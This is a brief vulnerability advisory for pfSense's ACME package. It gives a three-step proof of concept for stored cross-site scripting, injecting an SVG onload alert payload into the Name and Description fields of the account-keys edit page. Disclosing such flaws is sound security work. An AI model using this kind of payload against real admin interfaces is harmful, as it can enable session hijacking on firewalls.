##################################################################################################################################
Introduction pfSense® software is a free, open source customized distribution of FreeBSD specifically tailored for use as a firewall and router that is entirely managed via web interface.
In addition to being a powerful, flexible firewalling and routing platform, it includes a long list of related features and a package system allowing further expandability without adding bloat and potential security vulnerabilities to the base distribution.
The ACME Package for pfSense interfaces with Let’s Encrypt to handle the certificate generation, validation, and renewal processes. (https://docs.netgate.com/pfsense/en/latest/certificates/acme-package.html)
#################################################################################
Proof of Concepts:
1 - Navigate to https://192.168.1.1/acme/acme_accountkeys_edit.php
2 - In the "Name" and "Description" field, input payload: "><svg/onload=alert(1)>
3 - XSS box will then pop-up